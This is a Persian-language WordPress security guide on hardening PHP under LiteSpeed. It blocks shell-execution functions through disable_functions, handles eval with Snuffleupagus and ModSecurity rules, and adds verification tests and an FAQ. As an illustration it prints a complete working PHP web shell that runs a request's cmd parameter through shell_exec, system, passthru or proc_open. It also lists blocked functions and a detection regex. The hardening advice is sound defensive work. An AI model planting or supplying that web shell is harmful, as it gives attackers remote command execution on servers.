رفتن به محتوا
بهنام باقریامنیت، پاکسازی و پشتیبانی فنی وردپرس درخواست بررسی فوری

راهنمای فنی وردپرس

بستن توابع پر خطر PHP (eval, exec, system) در فایل php.ini و وب‌سرور لایت‌ اسپید

بستن توابع پر خطر PHP (eval, exec, system) در فایل php.ini و وب‌سرور لایت‌ اسپید

بخش عمده‌ای از نفوذهای فاجعه‌بار در سطح سرورهای لینوکسی و سایت‌های وردپرسی، نه از طریق دسترسی مستقیم به پورت‌های SSH، بلکه از بستر یک وب‌شل چند خطی آپلودشده در دایرکتوری‌های عمومی رقم می‌خورد. مهاجم به محض تزریق کوچک‌ترین فایل PHP، در صورتی که مفسر زبان به فرامین سیستمی و مدیریت پردازش‌ها دسترسی داشته باشد، می‌تواند سد سطح کاربری وب‌سرور (مانند nobody، www-data یا کاربر لینوکسی هاست) را شکسته و دستورات شل سیستم‌عامل (bash، sh، کامپایلرهای لینوکس نظیر gcc یا ابزارهای دانلودی مثل wget و curl) را با توابعی نظیر exec، system، passthru و shell_exec مستقیماً به کرنل ارسال کند.

بسیاری از مدیران سرور تصور می‌کنند صرف درج چند نام در دایرکتیو disable_functions در یک فایل تصادفی php.ini، امنیت مفسر را تأمین می‌کند. اما عدم تسلط بر معماری پردازش فرآیندها در هندلر اختصاصی لایت‌اسپید (LSPHP)، وجود تفاوت بنیادین میان توابع استاندارد زبان با ساختارهای دستوری زبان (Language Constructs) نظیر eval()، و بارگذاری فایل‌های پیکربندی چندگانه در کنترل‌پنل‌ها (مانند cPanel، DirectAdmin یا CyberPanel)، سرور را در برابر اسکریپت‌های مخرب بدون حفاظ باقی می‌گذارد.

کالبدشکافی ریشه‌ای توابع پرخطر و تمایز ساختاری eval با فرامین شل

برای اعمال هاردنینگ (Hardening) اصولی، ابتدا باید بفهمیم توابع خطرناک چگونه سیستم‌عامل را دور می‌زنند و چرا مدیریت eval رویکردی کاملاً متفاوت می‌طلبد:

۱. توابع فراخوانی پوسته سیستم‌عامل (System Shell Execution Functions)

این دسته از توابع به اسکریپت‌های PHP اجازه می‌دهند یک پردازش فرزند (Child Process) را در سیستم‌عامل لینوکس Fork کرده و فرامین سیستمی را مستقیماً فراخوانی کنند:

  • exec(): آخرین خط خروجی دستور شل را برمی‌گرداند و اجازه پر کردن یک آرایه با کل خروجی را می‌دهد.
  • system(): دستور را اجرا کرده و خروجی خام را مستقیماً در بافر استریم صفحه وب ارسال می‌کند.
  • passthru(): دقیقاً مانند system عمل می‌کند با این تفاوت که خروجی‌های باینری خام (مانند دیتای یک اکسپلویت کامپایل‌شده) را بدون دستکاری تحویل می‌دهد.
  • shell_exec() (یا عملگر Backtick ` `): تمام خروجی فرامین خط فرمان را به صورت یک رشته متنی در PHP دریافت می‌کند.
  • proc_open() و popen(): کانال‌های دوطرفه ورودی/خروجی (Pipes) به ترمینال باز می‌کنند و امکان ساخت وب‌شل‌های تعاملی معکوس (Reverse Shells) را برای مهاجم فراهم می‌آورند.

این توابع همگی توابع درونی (Internal Functions) در موتور Zend هستند و می‌توان آن‌ها را به سادگی از طریق دستور disable_functions در زمان بوتسترپ مفسر PHP غیرفعال کرد.

۲. واقعیت فنی در مورد eval(): چرا disable_functions روی آن بی‌اثر است؟

یکی از بزرگ‌ترین اشتباهات متداول در پیکربندی سرورها، نوشتن عبارت eval در لیست disable_functions است. مفسر PHP در زمان پردازش این فایل، با خطای هشداری در لاگ مواجه می‌شود؛ زیرا:

نکته حیاتی:
تابع eval() از نظر فنی یک «تابع» نیست، بلکه یک ساختار زبانی (Language Construct) در کامپایلر Zend است (دقیقاً مانند echo, print, die یا include). پارامتر disable_functions در معماری PHP تنها قادر به مسدودسازی توابعی است که در جدول نمادهای داخلی موتور Zend (Internal Function Table) ثبت شده‌اند.

ساختار eval() یک توکن مستقیم در مفسر واژگانی (Lexer/Parser) است. بنابراین، مسدودسازی مستقیم آن نیازمند راه‌حل‌های اکستنشن‌ محور مانند ماژول‌های Suhosin (برای نسخه‌های قدیمی)، اکستنشن Snuffleupagus، استفاده از پارامترهای امنیتی افزونه‌های سیستمی PHP یا مسدودسازی در لایه وب‌اپلیکیشن‌فایروال (WAF) و ابزارهای AST-based است.

نمونه‌ای از یک وب‌شل PHP با استتار پایه‌ای که با ترکیب shell_exec و فرامین مخرب، فایل‌های روت را واکشی می‌کند:

<?php
// نمونه بدافزار که در صورت باز بودن توابع سیستمی، کنترل سرور را به دست می‌گیرد
if (isset($_REQUEST['cmd'])) {
    $command = $_REQUEST['cmd'];
    
    // سوءاستفاده از توابع مختلف سیستمی در صورت باز بودن هر کدام
    if (function_exists('shell_exec')) {
        echo "<pre>" . shell_exec($command) . "</pre>";
    } elseif (function_exists('system')) {
        echo "<pre>";
        system($command);
        echo "</pre>";
    } elseif (function_exists('passthru')) {
        echo "<pre>";
        passthru($command);
        echo "</pre>";
    } elseif (function_exists('proc_open')) {
        $descriptors = [0 => ["pipe", "r"], 1 => ["pipe", "w"], 2 => ["pipe", "w"]];
        $process = proc_open($command, $descriptors, $pipes);
        if (is_resource($process)) {
            echo "<pre>" . stream_get_contents($pipes[1]) . "</pre>";
            fclose($pipes[1]);
            proc_close($process);
        }
    }
    exit();
}
?>

پروتکل اجرایی و گام‌به‌گام رفع بحران (Actionable Playbook)

این پروتکل نحوه اعمال قطعی محدودیت‌ها روی تمامی نسخه‌های PHP فعال در وب‌سرور لایت‌اسپید (LiteSpeed Web Server) و مفسرهای اختصاصی آن (LSPHP) را پوشش می‌دهد.

گام ۱: شناسایی مسیر دقیق فایل‌های php.ini در محیط لایت‌اسپید

لایت‌اسپید برخلاف آپاچی از باینری‌های مجزای کامپایل‌شده به نام lsphpXX استفاده می‌کند (به عنوان مثال lsphp81، lsphp82، lsphp83). این نسخه‌ها در دایرکتوری‌های مشخصی قرار دارند.

با اتصال به ترمینال SSH سرور، لیست فایل‌های کانفیگ را بیابید:

# مسیرهای متداول در سرورهای مبتنی بر cPanel / CloudLinux (EasyApache 4)
ls -la /opt/cpanel/ea-php*/root/etc/php.ini

# مسیرهای متداول در سرورهای DirectAdmin
ls -la /usr/local/php*/lib/php.ini

# مسیرهای متداول در وب‌سرور خالص لایت‌اسپید / CyberPanel
ls -la /usr/local/lsws/lsphp*/etc/php.ini

برای یافتن نسخه فعال پیش‌فرض در خط فرمان:

php -i | grep "Loaded Configuration File"

گام ۲: تنظیم جامع دایرکتیو disable_functions

فایل php.ini نسخه مورد نظر (یا ترجیحاً تمامی نسخه‌های فعال) را با ویرایشگری مانند nano یا vim باز کنید:

nano /opt/cpanel/ea-php82/root/etc/php.ini
# یا
nano /usr/local/lsws/lsphp82/etc/php.ini

کلید disable_functions را پیدا کرده و رشته استاندارد و سفت‌وسخت زیر را در آن قرار دهید:

disable_functions = exec,system,passthru,shell_exec,popen,proc_open,proc_get_status,proc_terminate,proc_close,proc_nice,show_source,symlink,link,dl,sky_exec,dlopen,pcntl_exec,pcntl_fork,pcntl_signal,pcntl_waitpid,apache_child_terminate,posix_kill,posix_mkfifo,posix_setpgid,posix_setsid,posix_setuid

تحلیل نقش توابع اضافه شده به لیست بالا:

  • symlink و link: مسدود کردن حملات Simlink Bypass که برای خواندن فایل‌های حساس هاست‌های همسایه (مانند خواندن wp-config.php سایت‌های دیگر روی همان سرور اشتراکی) استفاده می‌شود.
  • pcntl_*: توابع مدیریت پردازش‌ها که مهاجم با استفاده از آنها فرآیندهای زامبی یا فرآیندهای مستقل پس‌زمینه ایجاد می‌کند.
  • posix_*: توابعی که می‌توانند برای ارسال سیگنال‌های ترمینال یا تغییر اختیارات فرآیند جاری بهره‌برداری شوند.

گام ۳: پیکربندی امنیتی در کنسول تحت وب لایت‌اسپید (LSWS WebAdmin)

اگر از کنسول ادمین لایت‌اسپید استفاده می‌کنید (پورت پیش‌فرض ۷۰۸۰)، باید مطمئن شوید که تنظیمات هاست مجازی اجازه بازنویسی دایرکتیوهای امنیتی از طریق فایل‌های .htaccess کاربران را نمی‌دهد:

  1. وارد پنل مدیریت لایت‌اسپید شوید: https://YOUR_SERVER_IP:7080
  2. به مسیر Server Configuration > تب Security بروید.
  3. در بخش Restricted Directories، دسترسی به مسیرهای سیستم‌عامل نظیر /bin/, /usr/bin/, /sbin/ را محدود کنید.
  4. به مسیر Server Configuration > تب External App رفته و روی نسخه مورد نظر LSPHP (مانند lsphp82) کلیک کنید.
  5. در بخش Environment اطمینان حاصل کنید متغیرهای محیطی اجرای نامحدود شل ست نشده باشند.
  6. پارامتر Run On Start Up را روی گزینه suEXEC Daemon قرار دهید تا فرآیندهای PHP هر کاربر در فضای مجزا و صرفاً با دسترسی اکانت لینوکسی خودش اجرا شوند (جلوگیری از دسترسی سطح nobody).

گام ۴: تکنیک‌های مهار و خنثی‌سازی ساختار eval()

از آنجا که eval() یک Language Construct است و در disable_functions مسدود نمی‌شود، برای از بین بردن این بردار خطرناک در محیط‌های سروری دو رویکرد اصلی وجود دارد:

رویکرد الف: استفاده از ماژول امنیتی Snuffleupagus در PHP 8+

اکستنشن Snuffleupagus یک ماژول امنیتی پیشرفته متن‌باز برای PHP 8 به بالا است که امکان مسدودسازی ساختار eval را به طور کامل در موتور Zend فراهم می‌کند.

پس از نصب این اکستنشن، یک رول اختصاصی در فایل قوانین آن (/etc/snuffleupagus/default.rules) تعریف می‌شود:

# مسدودسازی قطعی اجرای کدهای متنی با ساختار eval
sp.disable_function.eval.drop();

این رول به محض برخورد مفسر با کلمه کلیدی eval، فرآیند را Drop کرده و یک لاگ امنیتی بحرانی در syslog ثبت می‌کند.

رویکرد ب: مهار الگوهای ترکیبی eval در لایه ModSecurity / LiteSpeed WAF

بدافزارها معمولاً eval را با توابع دیکدینگ نظیر base64_decode، gzinflate یا متغیرهای ورودی کاربر ($_POST, $_COOKIE) ترکیب می‌کنند. با درج رول‌های زیر در فایروال وب‌سرور لایت‌اسپید، این درخواست‌ها پیش از تحویل به PHP مسدود می‌شوند:

# نمونه رول ModSecurity جهت شکار الگوهای مشکوک ترکیب‌شده با eval
SecRule REQUEST_BODY|REQUEST_URI "@rx (eval\s*\(|base64_decode\s*\(|gzinflate\s*\(|str_rot13\s*\()" \
    "id:1000001,phase:2,deny,status:403,log,msg:'Potential PHP Web Shell Eval Injection Detected'"

گام ۵: ری‌استارت اصولی لایت‌اسپید و بازنشانی فرآیندهای معلق دیمن (Detached Processes)

یکی از دلایل اصلی اعمال نشدن تغییرات در لایت‌اسپید این است که فرآیندهای LSPHP می‌توانند در حالت دیمن در پس‌زمینه زنده بمانند. ری‌استارت ساده سرویس وب‌سرور گاهی اوقات فرآیندهای کش‌شده قدیمی LSPHP را متوقف نمی‌کند.

دستورات زیر را برای اعمال قطعی در ترمینال اجرا کنید:

# بستن اجباری کلیه پروسه‌های فعال LSPHP
killall -9 lsphp

# ری‌استارت ساختاری وب‌سرور لایت‌اسپید
touch /tmp/lshttpd/restart.txt
# یا در صورت استفاده از سرویس سیستم‌دی
systemctl restart lsws

گام ۶: پروتکل راستی‌آزمایی و تست نفوذ شبیه‌سازی‌شده

برای اثبات غیرفعال بودن قطعی توابع، یک آزمون شبیه‌سازی شده اجرا کنید:

# تست ۱: اجرای دستور خط فرمان از طریق نسخه CLI مفسر PHP
php -r "system('id');"

خروجی باید هشداری شبیه به متن زیر بازگرداند و هیچ اطلاعاتی از شناسه کاربری نمایش ندهد:

PHP Warning:  system() has been disabled for security reasons in Command line code on line 1
# تست ۲: تست اجرای دستور از طریق موتور لایت‌اسپید
/usr/local/lsws/lsphp82/bin/php -r "echo function_exists('shell_exec') ? 'Enabled' : 'Disabled';"

خروجی باید واژه Disabled باشد.

جدول مقایسه‌ای: ماتریس طبقه‌بندی توابع پرخطر PHP و مکانیزم مهار در سرور

نام تابع / ساختارماهیت فنی در موتور Zendدرجه تخریب امنیتیامکان بستن در disable_functionsپیامد مسدودسازی برای وردپرس استاندارد
exec() / system()Internal Functionبحرانی (RCE)✔ کاملاً پشتیبانی می‌شودهیچ تداخلی ندارد (هسته وردپرس به آن نیاز ندارد)
shell_exec() / ` `Internal Functionبحرانی (RCE)✔ کاملاً پشتیبانی می‌شودهیچ تداخلی ندارد (مگر در افزونه‌های بکاپ‌گیری با CLI)
passthru()Internal Functionبحرانی (اجرای باینری)✔ کاملاً پشتیبانی می‌شودهیچ تفاوتی در عملکرد وب‌سایت ایجاد نمی‌کند
popen() / proc_open()Internal Functionبحرانی (Reverse Shell)✔ کاملاً پشتیبانی می‌شودتداخل محدود با پکیج‌های خاص Symfony/Mailer در صورت عدم استفاده از SMTP
eval()Language Constructبسیار بالا (کد داینامیک)❌ غیرقابل بستن با disable_functionsبرخی افزونه‌های صفحه‌ساز یا لایسنس‌گذار قدیمی ممکن است نیاز داشته باشند
symlink()Filesystem Functionبالا (Symlink Bypass)✔ کاملاً پشتیبانی می‌شودمانع از ایجاد میانبرهای نمادین بین دایرکتوری‌ها می‌شود

هشدار امنیتی و ریسک عملیاتی در لایه سرور
اعمال تغییرات روی فایل‌های زیرساختی php.ini و پیکربندی وب‌سرور لایت‌اسپید، روی تمامی وب‌سایت‌های میزبانی‌شده روی آن نسخه تأثیر مستقیم می‌گذارد. بستن بدون دقت توابعی مثل proc_open ممکن است سیستم‌های ارسال ایمیل مدرن مبتنی بر SwiftMailer یا ارتباط با پکیج‌های Composer را با خطاهای مهلک 500 مواجه کند. همچنین اگر از ابزارهایی نظیر WP-CLI در کارهای زمان‌بندی‌شده سرور استفاده می‌کنید، محیط CLI نباید دقیقاً تحت همان محدودیت‌های سخت‌گیرانه محیط وب قرار گیرد.
اگر سرور اشتراکی، شرکتی یا زیرساخت هاستینگ شما دچار اختلال پس از کانفیگ شده یا به دنبال پیاده‌سازی سفت‌سازی بدون ایجاد اختلال در وب‌سایت‌های زنده هستید، سپردن پیکربندی به متخصصین این حوزه ریسک توقف کسب‌وکار را صفر می‌کند. شما می‌توانید جهت بهینه‌سازی و سفت‌سازی حرفه‌ای زیرساخت خود، از خدمات اختصاصی در صفحه امنیت وردپرس یا بسته جامع پشتیبانی وردپرس در وب‌سایت شخصی بهنام باقری استفاده نمایید.

خطاهای رایج و بن‌بست‌های متداول (Common Pitfalls)

  • درج فاصله (Space) پس از کاما در پارامتر disable_functions در برخی نسخه‌های قدیمی: در گذشته برخی نسخه‌های PHP فاصله‌های خالی بعد از کاما را به عنوان بخشی از نام تابع در نظر می‌گرفتند (مانند exec, system که باعث می‌شد تابع دوم به نام system شناسایی شود و بسته نشود). همواره توابع را بدون فاصله و صرفاً با کاما (exec,system,passthru) جدا کنید.
  • ویرایش فایل php.ini اشتباه: سرورهایی که از Multi-PHP Manager استفاده می‌کنند، به ازای هر نسخه یک فایل کانفیگ دارند. تغییر در فایل نسخه PHP 7.4 در حالی که سایت از PHP 8.2 لایت‌اسپید استفاده می‌کند، تغییری ایجاد نخواهد کرد.
  • نادیده گرفتن فایل‌های .user.ini یا Local Configurations: در برخی کانفیگ‌های لایت‌اسپید، کاربران هاست می‌توانند با قرار دادن یک فایل .user.ini در پوشه public_html، مقادیر سراسری را بازنویسی کنند. برای جلوگیری از این موضوع، باید پارامتر user_ini.filename = "" را در php.ini روت خالی بگذارید تا کاربر اجازه تغییر دایرکتیوهای امنیتی را نداشته باشد.
  • عدم تفکیک فایل کانفیگ CLI از فایل کانفیگ وب‌سرور (LSPHP): ابزارهایی نظیر wp-cli، کامپوزر و کرون‌جاب‌های بکاپ، دستورات را تحت خط فرمان اجرا می‌کنند. اگر برای محیط CLI دستور proc_open را مسدود کنید، ابزار WP-CLI از کار خواهد افتاد. راهکار مهندسی این است که محیط CLI فایل php-cli.ini مجزا با دسترسی بازتر برای کارهای روت داشته باشد و محیط وب (LSPHP) تحت ایزولاسیون کامل قرار گیرد.

پرسش‌های پرتکرار تکنیکال (Technical FAQ)

۱. اگر تابع eval() در disable_functions مسدود نمی‌شود، چرا خیلی از مقالات آموزش می‌دهند که آن را در این دایرکتیو بگذاریم؟

این یک اشتباه مصطلح و تکرار ناآگاهانه در سطح اینترنت است. همان‌طور که مستندات رسمی شرکت Zend و وب‌سایت php.net به صراحت اعلام کرده‌اند، eval() یک ساختار زبان (Language Construct) است و موتور تجزیه‌کننده زبان در مرحله Parsing آن را مدیریت می‌کند، نه جدول توابع. قرار دادن نام eval در دایرکتیو disable_functions هیچ اروری در اجرای عادی سایت نشان نمی‌دهد اما ساختار eval کماکان به طور کامل و بدون مانع در کدهای PHP اجرا خواهد شد.

۲. آیا بستن توابع اجرایی شل مانند exec و system تداخلی در کارکرد افزونه‌های وردپرس مثل WooCommerce یا افزونه‌های کش ایجاد می‌کند؟

هسته استاندارد وردپرس و افزونه‌های معتبری مانند WooCommerce، Elementor، و افزونه‌های کش معروف نظیر WP Rocket و LiteSpeed Cache هیچ‌گونه وابستگی به اجرای فرامین شل لینوکس ندارند و تمامی عملیات خود را از طریق توابع بومی PHP، پایگاه داده MySQL و سوکت‌های شبکه پردازش می‌کنند. تنها استثنا، افزونه‌های نادری هستند که قصد دارند ابزارهای خارجی سرور نظیر ffmpeg (برای پردازش ویدیو) یا mysqldump (برای پشتیبان‌گیری) را مستقیماً از داخل اسکریپت با دستور شل فراخوانی کنند که این موارد نیز با راهکارهای جایگزین بومی یا اجرای در کرون‌جاب لینوکسی برطرف می‌شوند.

۳. چرا بعد از مسدودسازی توابع در php.ini و ری‌استارت لایت‌اسپید، خروجی phpinfo هنوز توابع را باز نشان می‌دهد؟

این مشکل معمولاً ناشی از معماری حافظه پایدار در فرآیندهای لایت‌اسپید است. هندلر LSPHP فرآیندهای فرزند را تا زمانی که زمان انقضای آن‌ها نرسد باز نگه می‌دارد. اگر تنها لایت‌اسپید ری‌استارت شود، ممکن است فرآیندهای لودشده قبلی کماکان کانفیگ قدیمی را در رم حفظ کرده باشند. برای رفع قطعی این حالت، باید دستور killall -9 lsphp در ترمینال روت اجرا شود تا تمام فرآیندهای جاری کشته شوند و با شروع درخواست جدید، فایل کانفیگ تازه از نو خوانده شود.

۴. آیا استفاده از CageFS در سیستم‌عامل CloudLinux نیاز به بستن disable_functions را برطرف می‌کند؟

خیر، CageFS و disable_functions مکمل یکدیگر در مدل امنیت دفاع در عمق (Defense in Depth) هستند. سیستم CageFS کاربر را درون یک سیستم‌فایل مجازی ایزوله محبوس می‌کند تا فایل‌های دیگران را نبیند، اما اگر توابع شل باز باشند، مهاجم می‌تواند با اجرای فرامین ترمینال درون همان قفس (Cage)، بار پردازشی عظیم ایجاد کند، اسکریپت‌های استخراج رمزارز (Crypto Miner) دانلود و اجرا کند، یا پکت‌های حملات دیداس (DDoS) به بیرون ارسال کند. بستن توابع شل، حتی اجازه اجرای ابتدایی این فرامین را درون محیط ایزوله نیز به مهاجم نمی‌دهد.

دیدگاه‌های این مقاله

اولین دیدگاه را درباره این مقاله ثبت کنید.

ثبت دیدگاه

نشانی ایمیل شما منتشر نمی‌شود. از ارسال رمز و اطلاعات محرمانه خودداری کنید.

برای دریافت کد روی فرم کلیک کنید

مقاله‌های مرتبط